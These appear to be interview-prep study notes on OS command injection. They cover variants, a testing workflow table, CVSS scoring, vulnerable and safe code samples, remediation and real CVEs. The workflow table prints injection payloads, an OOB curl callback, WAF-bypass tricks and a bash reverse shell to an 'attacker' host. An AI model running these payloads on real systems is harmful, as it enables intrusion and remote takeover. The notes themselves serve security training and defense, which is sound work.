

Command / OS Command Injection — Interview Prep Notes

1. Definition (logical flow)

- Untrusted input → concatenated/interpolated into OS shell command → shell interprets metacharacters → attacker-controlled command executes with app's privileges
- Taint model: **source** (user input: params, headers, filename, env var) → **sink** (system(), exec(), popen(), ProcessBuilder, subprocess) → **no sanitizer/allowlist** → shell execution
- Root distinction: app *intends* to run one command w/ arg, attacker injects **additional commands** via shell metachars, or manipulates **arguments** (argument injection)

2. OWASP / CWE

- OWASP: **A03:2021 – Injection**
- CWE-78: OS Command Injection (primary)
- CWE-77: Command Injection (generic, parent)
- CWE-88: Argument Injection
- CWE-943 (related — Improper Neutralization of Special Elements in Data Query Logic, sibling family)

3. Variants

- **Classic/in-band** – output directly reflected in response
- **Blind** – no output reflected; confirmed via time-delay or OOB
- **Time-based blind** – `sleep` / `timeout` / `ping -c`
- **OOB/Out-of-band** – DNS/HTTP callback via Collaborator/interactsh
- **Argument injection** – inject flags/args into invoked binary (not new command), e.g. `--output=/etc/passwd`
- **Second-order** – payload stored, executed later in different sink (e.g., filename processed by backend job)
- **Environment variable injection** – manipulate env vars consumed by shell script
- **Injection via deserialization/config parsing** (YAML, XML) leading to shell exec
- **Injection via vulnerable third-party binaries** (ImageMagick, ffmpeg, pandoc, exiftool)

4. Attack Surface / Entry Points

- File upload → conversion/processing (image resize, video transcode, PDF gen, OCR, virus scan shell-out)

- Network diagnostic features in admin panels: ping, traceroute, nslookup, whois
- Backup/export/import functionality (tar, zip, git clone)
- Filename / metadata fields passed to shell utilities
- Email-to-SMS / notification gateways
- CI/CD pipeline parameters, webhook payloads
- IoT/device config pages
- Log processing / report generation scripts
- API params consumed by wrapper scripts calling CLI tools

5. Testing Workflow

Step	Verify	Manual	Burp Suite	OWASP ZAP	Nuclei	Payloads / Why
1. Recon/mapping	Identify sinks that shell out (upload→convert, ping tools, export)	Map functionality, source review if available	Site map + Logger; flag params named <code>cm</code> <code>d</code> , <code>ip</code> , <code>host</code> , <code>file</code>	Spider + Passive scan tagging	N/A	—
2. Baseline behavior	Normal response time/output	Send benign input, note latency/response	Repeater baseline request	Manual request editor	—	—
3. Metachar probing	App breaks/errors on shell metachars	Inject <code>;</code> <code>&</code> <code> </code> <code> </code> <code>&&</code> <code>\n</code> <code>`</code> <code>\$()</code>	Repeater — one param at a time	Fuzzer w/ metachar payload list	<code>os-comm</code> <code>and-inje</code> <code>ction</code> templates (generic)	<code>;</code> <code>id</code> , <code>li</code> <code>d</code> , <code>&&id</code> , <code>\$(id)</code> , backticks — test injection breakout
4. In-band confirmation	Command output reflected	Inject <code>;</code> <code>whoami</code> <code>i</code> / <code> </code> <code>whoami</code>	Repeater, diff response	Manual	template w/ regex match <code>u</code> <code>id=</code>	<code>whoami</code> <code>i</code> , <code>id</code> , <code>h</code> <code>ostname</code> <code>e</code> , <code>ver</code> (win)
5. Blind time-based	Response delay ≈ injected sleep	Inject <code>;</code> <code>sleep</code> <code>10</code> , measure RTT	Repeater + Intruder (time-based)	Active scan (Command Injection rule)	<code>dast/vu</code> <code>lnerabil</code> <code>ities/ge</code> <code>neric/os</code> <code>-command</code> <code>-injection</code>	<code>sleep 1</code> <code>0</code> , <code>ping</code> <code>-c 10 12</code> <code>7.0.0.</code> <code>1</code> , Win: <code>t</code> <code>imeout /</code> <code>T 10</code>
6. OOB/blind confirm	Callback received	Inject <code>;</code> <code>curl h</code> <code>ttp://<oast></code>	Collaborator client	OAST/Zap-integrated (manual set)	Nuclei OAST templates (<code>intera</code> <code>ctsh</code>)	<code>curl</code> , <code>wg</code> <code>et</code> , <code>nslo</code> <code>okup <oa</code> <code>st-domain</code> <code>n></code> — confirms exec w/ zero reflection
7. Argument injection	Flags accepted by binary	Inject <code>--</code> prefixed args	Repeater	Manual	Custom template	<code>--output</code> <code>=/tmp/</code> <code>x</code> , <code>-oPro</code> <code>xyComman</code>

Step	Verify	Manual	Burp Suite	OWASP ZAP	Nuclei	Payloads / Why
						d= (ssh case)
8. Escalate to RCE	Full command execution, file write/read	Chain to reverse shell / write webshell	Repeater	Manual	Custom template	<pre> bash -i >& /dev/ tcp/atta cker/444 4 0>&1 </pre>
9. WAF/filter bypass	Confirm filtering, bypass encoding	Try %0a, \${IFS}, case variation, base64 chain	Repeater w/ encoding	Fuzzer	—	<pre> %0a, \${IFS} (space bypass), \$(echo... base64 - d sh) </pre>

6. Evidence to Collect

- Request/response pair with injected payload + reflected command output
- Time-delta proof for blind (baseline vs injected, repeat 3x to rule out network jitter)
- OAST interaction log (Collaborator/interactsh hit: DNS/HTTP w/ timestamp correlation)
- Screenshot/output of `id` / `whoami` / `hostname` / `ver`
- Process listing (if internal access) showing spawned shell child of web process
- Server response headers/error leaking OS info

7. Good PoC

- Step-by-step repro: endpoint, param, payload, method
- Baseline vs injected response/time comparison
- Screenshot of command output (whoami/id) in response
- For blind: Collaborator interaction log w/ correlated timestamp + request
- Business impact statement: "achieved RCE as user `www-data`, able to read `/etc/passwd`, pivot to internal network"
- Optional: safe non-destructive escalation (read-only proof, no destructive commands)

8. Attack Chains

- File upload → command injection (via converter) → RCE → priv esc → lateral movement
- SSRF → reach internal admin/diagnostic endpoint → command injection → RCE
- Path traversal → overwrite script/cron file → executed → RCE

- Insecure deserialization → shell-out during object processing → RCE
- Command injection → write webshell → persistent access → data exfil
- Argument injection → SSRF via `curl` flags (`-F` , `--upload-file`) → internal recon

9. False Positives

- Delay due to network/server load, not payload (always baseline + repeat)
- WAF/IDS block message mistaken for reflected execution
- Application echoes raw input (reflected, not executed) — verify actual OS-level side effect
- Error messages mentioning "sh:", "cmd" due to generic exception handling, not real execution
- Third-party monitoring tool causing coincidental outbound traffic (rule out before confirming OOB)

10. Prerequisites for Exploitability

- User input reaches shell-invoking function: `system()` , `exec()` , `popen()` , `Runtime.exec()` , `ProcessBuilder` , `subprocess.run(shell=True)`
- No input validation/allowlisting on metacharacters
- Shell interpretation enabled (vs argv-array direct exec)
- Insufficient sandboxing/least privilege on execution context

11. Attacker Achievements

- Full RCE as app service user
- File read/write, credential theft (env vars, config files, SSH keys)
- Lateral movement / internal network pivot
- Persistence (cron, webshell, SSH key add)
- DoS (fork bomb, resource exhaustion)
- Container/sandbox escape (if misconfigured)
- Full server/infra compromise → data exfiltration

12. CIA Impact Table

Variant	Confidentiality	Integrity	Availability	Example CVSS Vector
Classic/in-band RCE	High	High	High	AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (9.8)
Blind (time/OOB)	High	High	Medium	AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L (9.6)
Argument injection	Medium	Medium	Low	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9)
Authenticated command injection	High	High	High	AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.1)
Second-order	High	High	Medium	AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L (8.7)

13. Typical CVSS

- Unauthenticated, unrestricted: **Critical, 9.8** (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Scope changed (container/host escape): can hit **10.0** with S:C
- Authenticated/limited context: **High, 7.2–8.8**

14. Business Impact (Financial App)

- Full core-system compromise → fraud, unauthorized transactions
- PCI-DSS violation (cardholder data environment breach) — mandatory disclosure, fines
- Regulatory reporting (RBI/GDPR breach notification depending on jurisdiction)
- Reputational damage, customer trust loss, potential license/audit implications
- Systemic risk if shared microservice/shell-out utility used across multiple products

15. Indicators/Signals

- WAF/IDS logs with shell metachars (; , | , && , \$ () , backticks) in params
- Unusual outbound DNS/HTTP to unknown domains (OOB exfil)
- EDR alert: web server process (httpd/java/node) spawning /bin/sh , cmd.exe , powershell
- Abnormal response latency correlating w/ specific param values
- Log entries with encoded payloads (%0a , \${IFS} , base64 chains)

16. Root Cause (Code)

- String concatenation/interpolation of user input into shell command string

```
# Python (vulnerable)
os.system("ping -c 4 " + user_ip)
subprocess.run("ping -c 4 " + user_ip, shell=True)

// Node.js (vulnerable)
exec("ping -c 4 " + userIp)

// Java (vulnerable)
Runtime.getRuntime().exec("ping -c 4 " + userIp)

// PHP (vulnerable)
shell_exec("ping -c 4 " . $userIp)

// C# (vulnerable)
Process.Start("cmd.exe", "/c ping " + userIp)
```

- Root issue: passing a **single interpretable string** to a shell interpreter instead of **argv array** to exec directly

17. Remediation

- Avoid shell invocation entirely — use language-native libs instead of shelling out (e.g., Python `socket` / `ping3` lib vs `ping` binary)
- If shell-out unavoidable: use **exec with argument array**, `shell=False`

```
# Python (safe)
subprocess.run(["ping", "-c", "4", user_ip], shell=False)

// Node.js (safe)
execFile("ping", ["-c", "4", userIp])

// Java (safe)
new ProcessBuilder("ping", "-c", "4", userIp).start()

// C# (safe)
ProcessStartInfo w/ ArgumentList, UseShellExecute=false
```

- Strict input validation: allowlist (e.g., regex for valid IPv4/hostname only)
- Least privilege: run process as non-root, no shell binaries in container image
- Principle: never trust concatenation into interpreter — separate code from data (same principle as SQLi)

18. Compensating Controls

- WAF rules blocking shell metacharacters on known-risky params
- Run service in container/chroot/jail with minimal binaries (no `/bin/sh`, `curl`, `wget`)
- Egress filtering — block outbound DNS/HTTP to prevent OOB exfil/callback
- EDR/process monitoring — alert on child process spawn from web server
- Disable/remove dangerous CLI tools from prod image if not required
- Seccomp/AppArmor profiles restricting syscalls

19. Recurrence → SDLC Signal

- Indicates missing secure-coding standards around shell execution
- No SAST gate for dangerous sinks (`exec`, `system`, `popen`, `ProcessBuilder`)
- Lack of shared/wrapper library enforcing safe exec pattern
- Insufficient security training on injection classes beyond SQLi
- Missing threat modeling for features that shell-out (file conversion, diagnostics)

20. Upstream Improvements

- **SAST**: Semgrep taint rule — source: HTTP param → sink: `os.system`, `subprocess(shell=True)`, `Runtime.exec`, `popen`
- **CodeQL**: dataflow query flagging tainted string reaching `exec` / `system` sinks
- Linter/banned-function list: flag `shell=True`, string-concatenated `Runtime.exec`
- Framework-level safe wrapper library (enforces argv-array only, central allowlist)
- Design checklist item: "does this feature invoke OS command? mandatory review + argv-array + no shell"
- Dependency scanning for vulnerable shell-out libs (ImageMagick, ffmpeg CVEs)

21. Sample Triage Response

Confirmed OS Command Injection at `POST /api/network/ping` param `host`. Payload `; sleep 10` produced 10s response delay (baseline 200ms); OOB payload `curl http://<id>.oast.site` confirmed via Collaborator DNS/HTTP interaction. Unauthenticated, unrestricted execution context (service runs as `www-data`). Rated **Critical (CVSS 9.8)** — full RCE achievable. Escalating to dev team for immediate remediation; recommend temporary WAF rule + endpoint disable pending fix.

22. Sample Dev Remediation Note

Root cause: `host` param concatenated into shell string in `network_utils.py` L45, executed via `os.system()`. Fix: replace with `subprocess.run(["ping", "-c", "4", host], shell=False)` after validating `host` against strict IPv4/hostname regex allowlist. Do not reintroduce string concatenation into any `exec` / `system` / `popen` call. Add Semgrep taint rule to CI to prevent regression. Retest required post-fix w/ same payload set (metachar, time-based, OOB).

23. Real-World CVE/Bug Bounty

- **CVE-2014-6271 (Shellshock)** — Bash env-var parsing flaw enabling command injection via crafted env vars (CGI, DHCP clients)
- **CVE-2016-3714 (ImageTragick)** — ImageMagick command injection via crafted image filenames/delegates during processing
- **CVE-2021-22205** — GitLab RCE via ExifTool metadata processing (image upload → command injection chain)
- Bug bounty pattern: multiple HackerOne reports on PDF/video export or DNS-lookup admin features shelling out with unsanitized filename/hostname params → critical RCE payouts